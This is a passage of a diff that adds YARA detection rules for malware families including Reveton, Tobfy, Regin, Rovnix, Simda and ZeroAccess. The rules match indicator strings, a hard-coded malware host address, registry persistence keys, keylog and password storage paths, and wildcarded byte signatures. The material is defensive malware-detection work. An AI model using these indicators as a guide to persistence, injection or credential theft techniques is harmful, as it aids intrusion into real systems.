+		$hex5 = { 55 8b ec 51 51 56 33 f6 57 8b f9 3b c6 74 ?? 39 ?? ?? 74 ?? 3b fe 74 ?? 39 ?? ?? 74 ?? 6a 07 5a 39 ?? ?? 72 ?? 89 ?? ?? 89 ?? ?? 39 ?? ?? 76 ?? 53 eb ?? 33 f6 3b ?? ?? 77 ?? 8b ?? ?? 8d ?? ?? ?? 8a ?? ?? 3a ?? ?? 75 ?? ff ?? ?? 83 ?? ?? ?? 75 ?? 8d ?? ?? eb ?? 8a ?? ?? 88 ?? ?? 41 3b ca 72 ?? ff ?? ?? 46 83 fe 07 72 ?? eb ?? 83 ?? ?? ?? 42 8d ?? ?? 4f 3b ?? ?? 72 ?? 5b 8b ?? ?? eb ?? 83 c8 ff 5f 5e c9 c2 08 00}
+
+
+	condition:
+		(10 of them) or (any of ($hex*))
+}rule MalwarePowerLoaderSample
+{
+	meta:
+		Description  = "Trojan.PowerLoader.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$str_1 = "powerloader" ascii wide
+
+		$ = "inject64_section" ascii wide
+		$ = "inject64_event" ascii wide
+		$ = "inject_section" ascii wide
+		$ = "inject_event" ascii wide
+		$ = "loader.dat" ascii wide
+		$ = "Inject64End" ascii wide
+		$ = "Inject64Normal" ascii wide
+		$ = "Inject64Start" ascii wide
+		$ = "UacInject64End" ascii wide
+		$ = "UacInject64Start" ascii wide
+	condition:
+		(2 of them) or (any of ($str_*))
+}rule TrojanRansomRevetonSample
+{
+	meta:
+		Description  = "Trojan.Reveton.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$a = "JimmMonsterNew" ascii wide
+		$  = "regedit.exe" ascii wide
+		$  = "rundll32.exe" ascii wide
+		$  = "msconfig.lnk" ascii wide
+		$  = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" ascii wide
+		$  = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell" ascii wide
+		$  = "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ctfmon.exe" ascii wide
+	condition:
+		(3 of them) or $a
+}
+
+rule TrojanWin32UrausySampleA
+{
+	meta:
+		Description  = "Trojan.Urausy.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$a = { 55 89 E5 53 56 57 83 0D ?? ?? ?? ?? 01 31 C0 5F 5E 5B C9 C2 04 00 }
+		$b = { FF 15 ?? ?? ?? ?? 09 C0 0F 84 ?? ?? ?? ?? 8B 75 ?? 89 C3 6A 01 6A FF 6A 05 56 E8 }
+
+	condition:
+		$a and $b
+}
+
+rule TrojanRansomWin32TobfySample
+{
+ 	meta:
+ 		Description  = "Trojan.Tobfy.sm"
+ 		ThreatLevel  = "5"
+
+ 	strings:
+		$ = "http://62.109.28.231/gtx3d16bv3/upload/img.jpg" ascii wide
+		$ = "http://62.109.28.231/gtx3d16bv3/upload/mp3.mp3" ascii wide
+
+		$ = "Pay MoneyPak" ascii wide
+		$ = "You have 72 hours to pay the fine!" ascii wide
+		$ = "Wait! Your request is processed within 24 hours." ascii wide
+		$a = "G:\\WORK\\WORK_PECEPB\\Work_2012 Private\\Project L-0-ck_ER\\NEW Extern\\inject\\injc\\Release\\injc.pdb" ascii wide
+		$b = "G:\\WORK\\WORK_PECEPB\\Work_2012 Private\\Project L-0-ck_ER\\Version V 1.0\\V1.0\\Release\\te.pdb" ascii wide
+		$ = "picture.php?pin=" ascii wide
+		$ = "s\\sound.mp3" ascii wide
+		$ = "s\\1.jpg" ascii wide
+		$ = "s\\1.bmp" ascii wide
+		$ = "getunlock.php" ascii wide
+
+ 	condition:
+ 		(4 of them) or $a or $b
+}rule Regin_APT_KernelDriver_Generic_A {
+        meta:
+		        Description = "Trojan.Regin.A.sm"
+				ThreatLevel = "5"
+        strings:
+                $m1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
+
+                $s0 = "atapi.sys" fullword wide
+                $s1 = "disk.sys" fullword wide
+                $s3 = "h.data" fullword ascii
+                $s4 = "\\system32" fullword ascii
+                $s5 = "\\SystemRoot" fullword ascii
+                $s6 = "system" fullword ascii
+                $s7 = "temp" fullword ascii
+                $s8 = "windows" fullword ascii
+
+                $x1 = "LRich6" fullword ascii
+                $x2 = "KeServiceDescriptorTable" fullword ascii
+        condition:
+                $m1 and all of ($s*) and 1 of ($x*)
+}
+
+rule Regin_APT_KernelDriver_Generic_B {
+        meta:
+				Description = "Trojan.Regin.B.sm"
+				ThreatLevel = "5"
+        strings:
+                $s1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
+                $s2 = "H.data" fullword ascii nocase
+                $s3 = "INIT" fullword ascii
+                $s4 = "ntoskrnl.exe" fullword ascii
+
+                $v1 = "\\system32" fullword ascii
+                $v2 = "\\SystemRoot" fullword ascii
+                $v3 = "KeServiceDescriptorTable" fullword ascii
+
+                $w1 = "\\system32" fullword ascii
+                $w2 = "\\SystemRoot" fullword ascii
+                $w3 = "LRich6" fullword ascii
+
+                $x1 = "_snprintf" fullword ascii
+                $x2 = "_except_handler3" fullword ascii
+
+                $y1 = "mbstowcs" fullword ascii
+                $y2 = "wcstombs" fullword ascii
+                $y3 = "KeGetCurrentIrql" fullword ascii
+
+                $z1 = "wcscpy" fullword ascii
+                $z2 = "ZwCreateFile" fullword ascii
+                $z3 = "ZwQueryInformationFile" fullword ascii
+                $z4 = "wcslen" fullword ascii
+                $z5 = "atoi" fullword ascii
+        condition:
+                all of ($s*) and ( all of ($v*) or all of ($w*) or all of ($x*) or all of ($y*) or all of ($z*) )
+}
+
+rule Regin_APT_KernelDriver_Generic_C {
+        meta:
+				Description = "Trojan.Regin.C.sm"
+				ThreatLevel = "5"
+                /*description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+                author = "@Malwrsignatures - included in APT Scanner THOR"
+                date = "23.11.14"
+                hash1 = "e0895336617e0b45b312383814ec6783556d7635"
+                hash2 = "732298fa025ed48179a3a2555b45be96f7079712"  */
+        strings:
+
+                $s0 = "KeGetCurrentIrql" fullword ascii
+                $s1 = "5.2.3790.0 (srv03_rtm.030324-2048)" fullword wide
+                $s2 = "usbclass" fullword wide
+
+                $x1 = "PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING" ascii
+                $x2 = "Universal Serial Bus Class Driver" fullword wide
+                $x3 = "5.2.3790.0" fullword wide
+
+                $y1 = "LSA Shell" fullword wide
+                $y2 = "0Richw" fullword ascii
+        condition:
+                all of ($s*) and ( all of ($x*) or all of ($y*) )
+}
+
+rule Regin_sig_svcsstat {
+        meta:
+				Description = "Trojan.Regin.sm"
+				ThreatLevel = "5"
+                /*description = "Detects svcstat from Regin report - file svcsstat.exe_sample"
+                author = "@Malwrsignatures"
+                date = "25.11.14"
+                score = 70
+                hash = "5164edc1d54f10b7cb00a266a1b52c623ab005e2"*/
+        strings:
+                $s0 = "Service Control Manager" fullword ascii
+                $s1 = "_vsnwprintf" fullword ascii
+                $s2 = "Root Agency" fullword ascii
+                $s3 = "Root Agency0" fullword ascii
+                $s4 = "StartServiceCtrlDispatcherA" fullword ascii
+                $s5 = "\\\\?\\UNC" fullword ascii
+                $s6 = "%ls%ls" fullword wide
+        condition:
+                all of them and filesize < 15KB and filesize > 10KB
+}rule TrojanWin32RovnixSample
+{
+	meta:
+		Description  = "Trojan.Rovnix.sm"
+		ThreatLevel  = "5"
+	strings:
+		$ = "dropper.exe" ascii wide
+		$ = "dropper_x64.exe" ascii wide
+		$ = "Inject64Start" ascii wide
+		$ = "Inject64End" ascii wide
+		$ = "Inject64Normal" ascii wide
+		$ = "inject_section" ascii wide
+		$ = "inject_event" ascii wide
+		$ = "0:/plugins/%s" ascii wide
+		$ = "0:/plugins/base" ascii wide
+		$ = "0:/plugins/base/binary" ascii wide
+		$ = "0:/plugins/base/mask" ascii wide
+		$ = "0:/plugins/base/version" ascii wide
+		$ = "0:/plugins/base/once" ascii wide
+		$ = "0:/plugins/rootkit" ascii wide
+		$ = "0:/plugins/rootkit/binary" ascii wide
+		$ = "0:/plugins/rootkit/version" ascii wide
+		$ = "0:/plugins/rootkit/binary" ascii wide
+		$ = "0:\\storage\\keylog" ascii wide
+		$ = "0:\\storage\\config" ascii wide
+		$ = "0:\\storage\\intrnl" ascii wide
+		$ = "0:\\storage\\passw" ascii wide
+		$ = "0:\\storage\\hunter" ascii wide
+		$ = "0:/hidden" ascii wide
+		$ = "0:/hidden/%s" ascii wide
+		$ = "0:/hidden/%s/path" ascii wide
+		$ = "0:/hidden/%s/binary" ascii wide
+		$ = "0:/hidden/%s/mask" ascii wide
+	condition:
+		3 of them
+}rule TrojanDroppedBackdoorWin32SimdaSample
+{
+	meta:
+		Description  = "Trojan.Simda.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = ".driver" ascii wide
+		$ = ".userm"  ascii wide
+		$ = ".uac64"  ascii wide
+		$ = ".mcp"    ascii wide
+		$ = ".cfgbin" ascii wide
+		$ = ".uacdll" ascii wide
+		$ = "%s\\%s.sys" ascii wide
+		$ = "%s\\%s.exe" ascii wide
+		$ = "%appdata%\\ScanDisc.exe" ascii wide
+	condition:
+		4 of them
+}// Rule - Dropped file from Trojan Sirefef / ZeroAccess.
+rule TrojanSirefefZerroAccess
+{
+	meta:
+		Description  = "Trojan.Sirefef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		//$ = "n64" ascii wide
+		//$ = "n32" ascii wide
+		//$ = "$Recycle.Bin\\" ascii wide
+		$ = "\\$%08x%04x%04x%02x%02x%02x%02x%02x%02x%02x%02x" ascii wide
+		//$ = "{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}"  ascii wide
+		
+		
+		$ = "%wZ\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders" ascii wide 
+		$ = "%wZ\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"  ascii wide
+		$ = "%wZ\\Software\\Classes\\clsid" ascii wide		
+		$ = "\\registry\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\" ascii wide 
+		$ = "\\registry\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide    
+				
+		$ = "\\systemroot\\system32\\config" ascii wide  
+		$ = "\\??\\ACPI#PNP0303#2&da1a3ff&0" ascii wide   
+		$ = "GoogleUpdate.exe" ascii wide
+		$ = "Google Update Service (gupdate)" ascii wide
+		$ = "%sU\\%08x.@" ascii wide
+		$ = "\\??\\%sU" ascii wide
+		$ = "\\??\\%s@" ascii wide
+		$ = "%08x.@" ascii wide
+		$ = "%08x.$" ascii wide
+		$ = "%08x.~" ascii wide
+		$ = "\\??\\%08x" ascii wide 
+		$ = "\\n." ascii wide
+		$ = "wbem\\fastprox.dll" ascii wide
+
+		$ = "c:\\windows\\system32\\z" ascii wide
+		$s1 = "e:\\sz\\x64\\release\\InCSRSS.pdb"  ascii wide
+
+		$s2 = "C:\\Jinket\\Lownza\\Kueshmmba\\de.pdb" ascii wide
+		$s3 = "E:\\Marlne\\Bensjo\\Ernstedun\\Rugriayid\\Wasp851.pdb" ascii wide
+
+		$hex0 = { 55 8b ec 83 ec 48 53 56 57 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8d ?? ?? ?? 59 8b c6 e8 ?? ?? ?? ?? 8b c6 89 ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ff ?? ?? ?? ?? ?? 68 08 54 30 6a ff ?? ?? ff d6 ff ?? ?? ?? ?? ?? 68 18 54 30 6a ff ?? ?? ff d6 83 c4 18 83 ?? ?? ?? ?? ?? ?? 75 ?? 8b ?? ?? ?? ?? ?? bb 98 70 30 6a bf 00 00 10 00 eb ?? ff ?? ?? ff ?? ?? ?? ?? ?? 68 a0 0f 00 00 ff ?? ?? ?? ?? ?? 53 57 8d ?? ?? 50 ff d6 85 c0 7d ?? 68 60 ea 00 00 ff ?? ?? ?? ?? ?? bb 54 70 30 6a eb ?? ff ?? ?? ff ?? ?? ?? ?? ?? 6a 01 68 e0 93 04 00 ff ?? ?? ?? ?? ?? ff ?? ?? e8 ?? ?? ?? ?? 53 57 8d ?? ?? 50 ff d6 85 c0 7d ?? bf 20 71 30 6a 57 ff ?? ?? ?? ?? ?? 6a 00 ff ?? ?? 8d ?? ?? e8 ?? ?? ?? ?? 50 6a 00 ff ?? ?? 8d ?? ?? e8 ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 33 c0 8d ?? ?? 5f 5e 5b c9 c2 04 00}
+		$hex1 = { 55 8b ec 83 ec 18 56 57 8d ?? ?? 50 e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? be 00 08 00 00 8b c6 e8 ?? ?? ?? ?? 8b fc 33 c0 b9 30 00 fe 7f 66 ?? ?? ?? 66 ?? ?? ?? 89 ?? ?? 0f ?? ?? 0f ?? ?? ?? 8b ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 41 41 66 83 f8 5c 75 ?? 66 ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? b8 28 55 30 6a 72 ?? b8 3c 55 30 6a 50 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 0f b7 c8 01 ?? ?? 33 c0 50 66 ?? ?? ?? 8b ?? ?? ff ?? 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 0f ?? ?? ?? 0f ?? ?? ?? 2b c8 83 f9 50 0f ?? ?? ?? ?? ?? 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 0f ?? ?? ?? 51 ff ?? ?? 8b ?? ?? 03 c1 68 58 55 30 6a 50 ff ?? ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 83 c4 38 6a 02 5a 40 33 c9 f7 e2 0f 90 c1 f7 d9 0b c1 50 6a 00 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 85 c0 74 ?? 57 50 ff ?? ?? ?? ?? ?? 59 33 c0 59 40 eb ?? 33 c0 8d ?? ?? 5f 5e c9 c2 04 00}
+		$hex2 = { 8b ?? ?? ?? 83 e8 00 74 ?? 48 75 ?? ff ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 74 ?? e8 ?? ?? ?? ?? 85 c0 74 ?? 6a 00 6a 00 ff ?? ?? ?? 68 62 13 30 6a 68 00 00 08 00 6a 00 ff ?? ?? ?? ?? ?? eb ?? a1 ?? ?? ?? ?? 85 c0 74 ?? 50 ff ?? ?? ?? ?? ?? a1 ?? ?? ?? ?? 85 c0 74 ?? 50 ff ?? ?? ?? ?? ?? 33 c0 40 c2 0c 00}
+		$hex3 = { 55 8b ec 51 51 53 56 8b ?? ?? 56 ff ?? ?? ?? ?? ?? 8b d8 85 db 0f ?? ?? ?? ?? ?? 57 6a 40 68 00 10 00 00 ff ?? ?? 6a 00 ff ?? ?? ?? ?? ?? 8b f8 89 ?? ?? 85 ff 0f ?? ?? ?? ?? ?? 8b ?? ?? f3 ?? 0f ?? ?? ?? 0f ?? ?? ?? 8d ?? ?? ?? 83 c0 0c 8b ?? 8b ?? ?? 8b ?? ?? 03 f1 03 f9 8b ?? ?? 83 c0 28 4a f3 ?? 75 ?? 8b ?? ?? 8b ?? ?? ?? ?? ?? 2b ?? ?? 8d ?? ?? 50 6a 05 6a 01 ff ?? ?? ff d7 85 c0 74 ?? eb ?? 8b ?? ?? 29 ?? ?? 56 8d ?? ?? 8b ?? 03 ?? ?? 83 c1 f8 52 d1 e9 51 50 ff ?? ?? ?? ?? ?? 83 ?? ?? ?? 75 ?? 8d ?? ?? 50 6a 01 6a 01 ff ?? ?? ff d7 85 c0 74 ?? 8d ?? ?? 8b ?? 85 c0 74 ?? 8b f1 8b ?? ?? 03 c1 50 ff ?? ?? ?? ?? ?? 83 c6 14 8b ?? 85 c0 75 ?? 8b ?? ?? 5f 5e 5b c9 c2 04 00}
+		$hex4 = { 8b ?? ?? ?? ?? ?? b8 00 20 00 00 66 ?? ?? ?? ?? ?? ?? 75 ?? e8 ?? ?? ?? ?? 8b ?? ?? ?? 48 75 ?? 56 ff ?? ?? ?? ff ?? ?? ?? ?? ?? 33 f6 56 6a 04 56 68 0a 1d 40 00 56 56 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 3b c6 74 ?? 56 50 ff ?? ?? ?? ?? ?? 5e b0 01 c2 0c 00}
+        $hex5 = { 55 8b ec 83 e4 f8 83 ec 34 53 56 57 33 db 53 6a 18 8d ?? ?? ?? 50 53 ff ?? ?? ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 8b ?? ?? ?? 89 ?? ?? ?? 33 c0 8d ?? ?? ?? ab 8d ?? ?? ?? 50 68 00 90 42 00 68 ff ff 1f 00 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? ?? ?? ?? 3b c3 74 ?? 48 50 ff ?? ?? e8 ?? ?? ?? ?? e9 ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 6a 02 53 53 8d ?? ?? ?? 50 ff ?? ?? 6a ff 6a ff ff d6 85 c0 7c ?? 6a 02 53 53 8d ?? ?? ?? 50 ff ?? ?? 6a fe 6a ff ff d6 85 c0 7c ?? 6a 20 53 8d ?? ?? ?? 50 68 20 90 42 00 68 9f 01 12 00 8d ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 85 c0 7c ?? 53 53 6a 08 8d ?? ?? ?? 50 8d ?? ?? ?? 50 53 53 53 ff ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ff d7 68 18 90 42 00 6a 01 ff ?? ?? ?? ?? ?? ff ?? ?? ff d7 5f 5e 5b 8b e5 5d c2 08 00}
+        $hex6 = { 55 8b ec 51 68 c2 7e 42 00 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 8d ?? ?? 51 68 02 23 00 00 6a 00 50 ff ?? ?? ?? ?? ?? 85 c0 7c ?? a1 ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 85 c0 75 ?? b8 53 50 43 33 68 00 00 40 00 50 ff ?? ?? ?? ?? ?? ff ?? ?? c9 c3}
+        $hex7 = { 55 8b ec 83 ec 64 53 56 57 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? ff ?? ?? ff ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 33 db 53 53 ff ?? ?? ?? ?? ?? 50 68 4d 10 40 00 53 53 53 53 53 6a ff ff ?? ?? ?? ?? ?? b8 00 04 00 00 e8 ?? ?? ?? ?? 8b f4 89 ?? ?? 89 ?? ?? e9 ?? ?? ?? ?? 8d ?? ?? 50 56 c7 ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 83 ?? ?? ?? 75 ?? 6a 30 53 ff ?? ?? ?? ?? ?? 3b c3 74 ?? 8b ?? ?? 8b ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? c6 ?? ?? ?? 8d ?? ?? 89 ?? ?? 89 ?? 8d ?? ?? 89 ?? ?? 89 ?? 8b ?? ?? ?? ?? ?? 89 ?? c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? a3 ?? ?? ?? ?? eb ?? 33 c0 3b c3 74 ?? 8d ?? ?? e8 ?? ?? ?? ?? ff ?? ?? e9 ?? ?? ?? ?? ff ?? ?? ff ?? ?? ?? ?? ?? e9 ?? ?? ?? ?? a1 ?? ?? ?? ?? b9 38 90 42 00 eb ?? 8b ?? ?? 3b ?? ?? 74 ?? 8b ?? 3b c1 75 ?? 33 ff 3b fb 0f ?? ?? ?? ?? ?? 8b ?? ?? 48 74 ?? 48 74 ?? 48 48 74 ?? 48 74 ?? 48 74 ?? 48 74 ?? 48 75 ?? 57 8d ?? ?? e8 ?? ?? ?? ?? eb ?? 8b f8 eb ?? 8d ?? ?? 8b ?? eb ?? 8b ?? ?? 3b ?? ?? 74 ?? 8b ?? 3b c1 75 ?? 33 c0 3b c3 74 ?? 8b f0 e8 ?? ?? ?? ?? eb ?? 8d ?? ?? 50 e8 ?? ?? ?? ?? eb ?? e8 ?? ?? ?? ?? ff ?? ?? eb ?? ff ?? ?? 8b cf e8 ?? ?? ?? ?? 3b c3 74 ?? 8b f0 e8 ?? ?? ?? ?? eb ?? 57 8d ?? ?? e8 ?? ?? ?? ?? eb ?? 8d ?? ?? e8 ?? ?? ?? ?? 89 ?? ?? ff ?? ?? 8b ?? ?? 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 39 ?? ?? 74 ?? 53 56 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8d ?? ?? 5f 5e 5b c9 c2 08 00}
+		$hex8 = { 53 56 57 ff ?? ?? ?? ?? ?? 0f b7 c0 33 ff 57 6a 04 8b c8 68 04 e2 41 00 c1 e9 08 c0 e0 04 6a 1a 0a c8 6a ff 88 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b d8 6a 3c 53 ff d6 59 59 85 c0 74 ?? e8 ?? ?? ?? ?? 85 c0 75 ?? 57 e8 ?? ?? ?? ?? 68 a4 e0 41 00 ff ?? ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 6a 3e 53 ff d6 59 59 85 c0 74 ?? 6a 01 e8 ?? ?? ?? ?? eb ?? 8b ?? ?? ?? ?? ?? b8 00 20 00 00 66 ?? ?? ?? ?? ?? ?? 75 ?? e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 68 e8 03 00 00 ff ?? ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 8b ?? ?? ?? 2b c7 74 ?? 48 75 ?? ff ?? ?? ?? ff ?? ?? ?? ?? ?? 33 c0 40 e8 ?? ?? ?? ?? 8b f0 e8 ?? ?? ?? ?? 85 c0 74 ?? e8 ?? ?? ?? ?? 85 c0 75 ?? 57 57 56 68 10 1c 40 00 57 57 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? eb ?? e8 ?? ?? ?? ?? 5f 5e b0 01 5b c2 0c 00}
+		$hex9 = { 55 8b ec 83 e4 f8 81 ec 94 01 00 00 53 56 57 68 c0 bb 41 00 68 d4 bb 41 00 ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8b d8 85 db 75 ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8d ?? ?? ?? 50 6a 40 6a 07 8d ?? ?? 56 ff d7 85 c0 74 ?? b8 91 1b 40 00 2b c6 83 e8 05 89 ?? ?? 8d ?? ?? ?? 50 ff ?? ?? ?? c6 ?? ?? 6a 07 56 c6 ?? ?? ?? c6 ?? ?? ?? ff d7 8d ?? ?? ?? 50 68 02 02 00 00 ff ?? ?? ?? ?? ?? 6a 0d e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? ff ?? ?? ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 68 90 e0 41 00 6a 01 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? 50 6a 40 6a 02 53 ff d7 85 c0 74 ?? b8 8b ff 00 00 66 ?? ?? 8d ?? ?? ?? 50 ff ?? ?? ?? 6a 02 53 ff d7 5f 5e 33 c0 5b 8b e5 5d c2 04 00}
+		$hex10 ={ 55 8b ec 83 ec 18 a0 ?? ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 53 56 0f b6 c0 57 c7 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? 39 ?? ?? 73 ?? 2b ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 2b c4 89 ?? ?? 89 ?? ?? 8b ?? ?? 8d ?? ?? 50 ff ?? ?? 53 6a 05 ff ?? ?? ?? ?? ?? 89 ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 33 c0 03 d8 6a 01 8d ?? ?? 57 68 e8 c1 41 00 ff d6 84 c0 75 ?? 6a 01 57 68 08 c2 41 00 ff d6 84 c0 75 ?? 6a 01 57 68 2c c2 41 00 ff d6 84 c0 75 ?? 6a 01 57 68 4c c2 41 00 ff d6 84 c0 75 ?? 6a 01 57 68 6c c2 41 00 ff d6 84 c0 75 ?? 6a 01 57 68 8c c2 41 00 ff d6 84 c0 74 ?? 8d ?? ?? ?? ?? ?? 50 68 00 e0 41 00 6a 01 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 85 c0 7c ?? 6a 00 ff ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ff ?? ?? ?? ?? ?? 8b ?? 85 c0 0f ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? 0f ?? ?? ?? ?? ?? 8d ?? ?? 5f 5e 5b c9 c3}
+		$hex11 ={ 55 8b ec 81 ec ac 00 00 00 53 56 57 6a 20 6a 07 8d ?? ?? 50 68 6c e0 41 00 68 89 00 12 00 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 8b d8 85 db 0f ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 6a 05 6a 10 8d ?? ?? 50 8d ?? ?? 50 ff ?? ?? ff d6 8b d8 bf 05 00 00 80 3b df 74 ?? 85 db 75 ?? 8b ?? ?? b8 80 00 04 00 23 c8 3b c8 75 ?? 6a 01 6a 18 8d ?? ?? 50 8d ?? ?? 50 ff ?? ?? ff d6 3b c7 74 ?? 85 c0 75 ?? 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 6a 08 8d ?? ?? 50 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 6a 10 8d ?? ?? 50 68 14 e2 41 00 e8 ?? ?? ?? ?? 83 c4 0c 33 db eb ?? bb bb 00 00 c0 ff ?? ?? ff ?? ?? ?? ?? ?? 85 db 7d ?? 81 cb 00 00 01 00 5f 5e 8b c3 5b c9 c3}
+	condition:
+		(5 of them) or (any of ($hex*)) or (any of ($s*))
+}
+
+rule TrojanSirefefZerroAccessANModule
+{
+	meta:
+		Description  = "Trojan.Sirefef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "%s\\%s\\%08x.@" ascii wide
+		$ = "%s\\%s\\%s" ascii wide
+		$ = "InstallFlashPlayer.exe" ascii wide
+		$ = "get/flashplayer/update/current/install/install_all_win_%s_sgn.z" ascii wide
+		$ = "download/C/C/0/CC0BD555-33DD-411E-936B-73AC6F95AE11/IE8-WindowsXP-x86-ENU.exe" ascii wide
+		$ = "\\??\\%08x" ascii wide
+		$ = "80000032.32" ascii wide
+		$ = "\\GLOBAL??\\{D1C8BD9B-9DF7-4fb6-A1C3-D96202C79FC0}" ascii wide
+		$ = "http://%.*s/_ylt=3648C868A1DB;" ascii wide
+
+		
+		$hex0 = { 56 8b ?? ?? ?? 33 c0 8d ?? ?? 87 ?? 85 c0 74 ?? 6a 00 50 6a 00 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 8d ?? ?? 83 c8 ff f0 ?? ?? ?? 75 ?? 85 f6 74 ?? 8b ?? 8b ?? 6a 01 8b ce ff d0 83 c8 ff 8d ?? ?? 87 ?? 83 f8 ff 74 ?? 50 ff ?? ?? ?? ?? ?? 8b ?? 8b ?? ?? 8b ce ff d0 8d ?? ?? 83 ca ff f0 ?? ?? ?? 75 ?? 85 f6 74 ?? 8b ?? 8b ?? 6a 01 8b ce ff d2 5e c2 08 00}
+		$hex1 = { 57 8b ?? ?? ?? ?? ?? 68 30 75 00 00 ff d7 a1 ?? ?? ?? ?? 85 c0 74 ?? 56 eb ?? 8d 9b 00 00 00 00 68 30 75 00 00 8b f0 ff d7 a1 ?? ?? ?? ?? 3b f0 75 ?? 5e 6a 00 ff ?? ?? ?? ?? ??}
